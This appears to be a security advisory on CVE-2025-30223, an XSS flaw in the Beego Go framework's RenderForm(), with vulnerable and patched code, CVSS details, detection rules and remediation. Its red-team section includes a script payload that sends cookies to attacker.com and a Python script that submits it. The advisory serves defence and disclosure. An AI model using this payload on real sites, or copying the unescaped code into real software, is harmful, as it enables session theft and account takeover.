CVE-2025-30223

Executive Summary

CVE-2025-30223 is a critical Cross-Site Scripting (XSS) vulnerability in the Beego web framework for Go, affecting versions prior to 2.3.6. The flaw resides in the RenderForm() function, which fails to properly escape user-controlled data when generating HTML form markup. This allows an attacker to inject arbitrary JavaScript code that executes in the context of a victim's browser, potentially leading to session hijacking, credential theft, or full account takeover. The vulnerability is particularly dangerous because developers often assume that high-level form rendering functions automatically sanitize output, as is common in most modern web frameworks. The CVSS score of 9.3 reflects the ease of exploitation and severe impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

Beego is a widely used open-source web framework for the Go programming language, distributed via the Go module system. This vulnerability affects any application that uses the RenderForm() function with user-provided data. Since Beego is a dependency in many Go-based web applications, the supply chain risk is significant. Organizations must audit their Go module dependencies and ensure they are using Beego version 2.3.6 or later. The package is available on the official Go module mirror and GitHub.

CVSS Breakdown & Threat Level

• CVSS Score: 9.3 (Critical)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over a network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must interact with the malicious form (e.g., click a button or submit the form).
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component, affecting the user's browser.
• Confidentiality (C): High (H) – An attacker can steal sensitive data like session tokens or credentials.
• Integrity (I): High (H) – An attacker can modify the content displayed to the user.
• Availability (A): High (H) – An attacker can disrupt the user's session or redirect them to malicious sites.

Threat Level: Critical. The vulnerability is easy to exploit, requires no privileges, and can lead to complete compromise of user sessions.

Deep Dive & Mechanics

The RenderForm() function in Beego is designed to generate complete HTML form markup based on a struct definition. It takes user-provided data and populates form fields (e.g., <input>, <textarea>, <select>). The vulnerability arises because the function does not properly escape HTML entities in the value attribute of form elements. For example, if a user-controlled string contains a double quote ("), it can break out of the attribute context and inject arbitrary HTML or JavaScript.

Attack Vector:

1. An attacker identifies an endpoint that uses RenderForm() with user-supplied data (e.g., a profile update form where the user's name is displayed).
2. The attacker submits a payload like "><script>alert('XSS')</script> as the user's name.
3. When another user views the form, the injected script executes in their browser.

Why It's Dangerous:

• Developers often trust high-level functions like RenderForm() to handle escaping automatically.
• The vulnerability can be used to steal session cookies, perform actions on behalf of the victim, or redirect to phishing pages.
• Since Beego is a Go framework, it is commonly used in backend services that may not have additional WAF protection.

Vulnerable vs. Patched Code

Vulnerable Code (Beego < 2.3.6):

// In the RenderForm function, the value is not escaped
func (f *Form) RenderForm(data interface{}) template.HTML {
    // ... code that generates HTML ...
    value := reflect.ValueOf(data).FieldByName(field.Name).String()
    // Directly inserted into HTML without escaping
    html += fmt.Sprintf(`<input type="text" name="%s" value="%s">`, field.Name, value)
    // ...
}

Patched Code (Beego 2.3.6):

// In the RenderForm function, the value is now escaped
func (f *Form) RenderForm(data interface{}) template.HTML {
    // ... code that generates HTML ...
    value := reflect.ValueOf(data).FieldByName(field.Name).String()
    // Properly escape the value for HTML attribute context
    escapedValue := template.HTMLEscapeString(value)
    html += fmt.Sprintf(`<input type="text" name="%s" value="%s">`, field.Name, escapedValue)
    // ...
}

The fix uses template.HTMLEscapeString() to escape special characters like <, >, ", ', and & before inserting user data into the HTML output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Go application using Beego < 2.3.6 with a form that renders user-controlled data via RenderForm().
• Example endpoint: /profile where the user's name field is displayed in a form.

Exploit Payload:

"><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Step-by-Step Exploitation:

1. Register a user with the payload as the name field.
2. When an administrator views the profile page, the script executes.
3. The script sends the victim's cookies to the attacker's server.

Automated Exploit (Python):

import requests

target_url = "http://victim.com/profile"
attacker_server = "https://attacker.com/steal"

payload = f'"><script>new Image().src="{attacker_server}?c="+document.cookie</script>'
data = {"name": payload}
requests.post(target_url, data=data)
print("Payload submitted. Wait for victim to view profile.")

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor for unusual form submissions containing HTML tags or JavaScript keywords.
2. Check server logs for requests to /profile or similar endpoints with suspicious name parameters.
3. Use a WAF to block payloads containing <script> or onerror attributes.

Hardening:

• Immediately upgrade to Beego 2.3.6 or later.
• Implement Content Security Policy (CSP) headers to mitigate XSS even if injection occurs.
• Sanitize all user input on the server side before storing or rendering.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookies in the URL (e.g., GET /steal?cookie=...).
  • Suspicious form submissions with payloads like "><script>....
• File IOCs:
  • Log entries showing RenderForm calls with unescaped data.
  • Presence of Beego version < 2.3.6 in go.mod or binary metadata.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups in user browsers.
  • Session tokens being used from different IP addresses.

Detection Engineering

YARA Rule

rule CVE_2025_30223_Beego_XSS {
    meta:
        description = "Detects Beego RenderForm XSS vulnerability in Go source code"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30223"
    strings:
        $vuln_func = "RenderForm"
        $unsafe_insert = /value\s*=\s*\"\s*\+\s*[^)]+\s*\)/
        $safe_func = "HTMLEscapeString"
    condition:
        $vuln_func and $unsafe_insert and not $safe_func
}

Sigma Rule

title: Beego RenderForm XSS Exploitation Attempt
id: 8f7b3c2a-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests with XSS payloads targeting Beego RenderForm
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        c-uri|contains:
            - "/profile"
            - "/form"
        c-args|contains:
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30223 Beego RenderForm XSS Attempt"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Beego: Update to version 2.3.6 or later. Run go get github.com/beego/beego/v2@v2.3.6.
2. Patch Verification: Check go.mod for the updated version and rebuild the application.
3. Input Validation: Implement server-side validation to reject or sanitize HTML tags in user input.

Long-Term Mitigations:

• Use a Web Application Firewall (WAF) with XSS protection rules.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits of third-party dependencies.
• Educate developers on the risks of assuming automatic escaping in frameworks.

Workaround (if patching is delayed):

• Manually escape user data before passing it to RenderForm() using template.HTMLEscapeString().
• Disable the RenderForm() function and use manual HTML generation with proper escaping.

Valters IT